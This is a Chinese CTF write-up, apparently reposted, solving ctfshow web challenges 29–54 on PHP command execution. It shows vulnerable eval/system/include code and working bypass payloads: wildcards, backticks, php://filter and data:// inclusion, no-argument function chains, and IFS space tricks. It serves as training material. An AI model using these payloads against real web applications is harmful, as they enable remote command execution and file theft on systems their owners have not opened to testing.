ctfshow web入门 命令执行前篇(web29-web54)

Posted parkour-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 命令执行前篇(web29-web54)相关的知识,希望对你有一定的参考价值。

目录

web29

web30

web31

web32

web33

web34-web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

web50

web51

web52

web53

web54


web29

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
if(!preg_match("/flag/i", $c)){

在这一段代码,我们知道只过滤掉了flag而且不区分大小

所需知识点通配符

*可以匹配0或多个字符
?可以匹配任意一个字符
[abcd]  匹配abcd中任何一个字符
[a-z]   表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

所以在这flag可以用f*或f???替代

所以这个题的payload

?c=system("cat f*.php")

也可以用cp命令

?c=system('cp fla?.php 1.txt')

再补充一下,另外绕过可以用引号,反斜杠

flag=fl\\ag=fl''ag

web30

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤掉了flag,system,php关键字

所需知识点反引号执行命令

因为过滤掉了system,我们就得选择其他的命令执行函数

最常用的无需echo

system()
passthru()

需用echo函数

反引号——``有system()的作用
exec()
shell_exec()

所以这个题的payload

?c=echo `cat f*`;

web31

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这个题增加了一些过了,比较重要的cat和空格过滤掉了

cat过滤时,可以替代绕过的姿势

1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器

空格过滤时,可以替代绕过的姿势

1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09

所以这个题的payload

?c=echo(`more%09f*`);

再附上大佬们的payload

?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echo`strings%09f*`;
?c="\\x73\\x79\\x73\\x74\\x65\\x6d"("nl%09fl[a]*");等价于system()。这个学到了!

然后另一个payload是hint,我感觉我是看不大懂原理,先放上,后期再学习

payload2

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web32

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

又过滤掉了好多大小

; ( echo ' `

payload

首先分号可以用?>代替,括号可以用“”绕过,利用文件包含的方式

?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

当然这里include也可换require

web33

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以直接用上一题的payload,但是需要去掉双引号,因为引号被过滤掉了

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

或者把include换成require

web34-web36

34题多过滤掉了:

35题多过滤掉了=<

36题过滤掉了数字,可以把1换为一个字母就可

都可以用上面两题的payload直接一把梭

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

web37

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

此时,这个地方为include($c),不是eval函数了,

过滤掉了flag,而且还进行了文件包含

这个题考点为伪协议

data协议

?c=data://text/plain,<?php phpinfo();?>

可以执行,在这样data协议,data会把后面的数字,字符,字符串会作为php代码来执行

所以这个题的payload

?c=data://text/plain,<?php system('cat fl??.php');?>

web38

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

在上一个题的基础上,又过滤掉了php和file

过滤姿势为短标签

依然可以用上一题的payload,不过需要将php改为=

php的短标签,<?=,可以为<?php

payload

?c=data://text/plain,<?=system("cat fla?.???");?>

web39

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤掉了flag,并且限制了后缀为php

问题不大,可以直接用前两题的payload,就可以得到flag

?c=data://text/plain,<?php system("cat fla?.php");?>

web40

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
​
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\'|\\"|\\,|\\<|\\.|\\>|\\/|\\?|\\\\\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤掉了好多东西符号

首先就是看一下提示,hint给的一个payload为无参函数进行文件读取

?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

可以得到flag

关于无参rce

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。
pos()取得数组内容
scandir()查看该路径下的目录
array_reverse()数组逆转
next() 函数将内部指针指向数组中的下一个元素,并输出。
show_source()显示源码

web41

emmm,能力有限,看了羽大佬的wp也没看懂

以后再补

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
​
*/
​
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

payload

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 
​
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\\n";
        }
    }
​
}
}
fwrite($myfile,$contents);
fclose($myfile);

web42

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这个题主要的东西为>/dev/null 2>&1,它的作用为执行某个命令不会有任何输出

绕过方式:可以添加分号进行绕过,它会将分号后面的命令进行不再输出,但分号前可以正常使用

payload

?c=ls;ls
?c=cat flag.php;ls

web43

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础上,过滤掉了cat和分号

我们可以用&&符号进行绕过,或者||符号,特别注意&&符号要进行url编码

&&符号的意思为前一个命令执行成功后才执行后一个命令

payload:

?c=tac flag.php%26%26ls

web44

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础是多过滤掉了flag,很简单的通配符绕过就好了

payload

?c=ls||ls
?c=tac fla?.php||ls

web45

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础又过滤掉了空格

我们可以直接绕过就好,再复习一下绕过空格的姿势

1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09

payload

?c=tac${IFS}fla?.php||ls

web46

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

又多过滤掉了数字,$,*

我们可以直接使用上一题的payload就可以,不过过滤空格的姿势换为%09

比较特殊的地方,题目过滤掉了数字,我们这里还可以用%09,是因为,09解码以后不为数字

?c=tac%09fla?.php||ls

web47

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又多过滤掉了读取文件的姿势,但是还是丢下了几个姿势

tac,nl,vi,uniq

我们还是可以直接用上一题的payload一把梭了

?c=tac%09fla?.php||ls

web48

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

又过了掉了一些东西

依然用那个payload一把梭

?c=tac%09fla?.php||ls

web49

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这一题过了掉了反引号和百分号,但是依然可以使用之前的payload一把梭了

?c=tac&09fla?.php||ls

web50

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%|\\x09|\\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这个题过滤掉了&符号和09,而且不能用通配

所以我们可以这样

?c=tac<fla''g.php||ls

两个单引号可以分隔字符串,执行后会忽略

web51

同web50

?c=nl<fla''g.php||ls

web52

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

通道符被过滤掉了,但是$被放出来了

payload

?c=nl${IFS}fla''g.php||ls

不过直接访问居然是假的flag

然后我们列一下根目录

?c=ls${IFS}/||ls

在根目录下发现了有一个flag

我们可以有两个方法

方法一直接读取

?c=nl${IFS}/fla?||ls

方法二复制文件或移动文件

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt

web53

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这个题有的返回值,system的返回值为:

正确返回最后一行,错误返回flase

然后那个黑洞去掉了我们可以直接写payload了

?c=ta''c${IFS}fla?.php

web54

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤的特别多啊!!!

这个我们可以修改掉flag.php的名字,再访问

payload

?c=mv${IFS}fla?.php${IFS}t.txt
t.txt

学到了一个姿势,我们可以用mv修改掉flag文件的名字,再访问

未完待续~~~~~

以上是关于ctfshow web入门 命令执行前篇(web29-web54)的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow web入门-命令执行

ctfshow web入门 命令执行后篇(web55-web188)

ctfshow web入门-信息搜集

ctfshow web入门 信息搜集

ctfshow web web2

CTFSHOW web入门 java反序列化篇 web855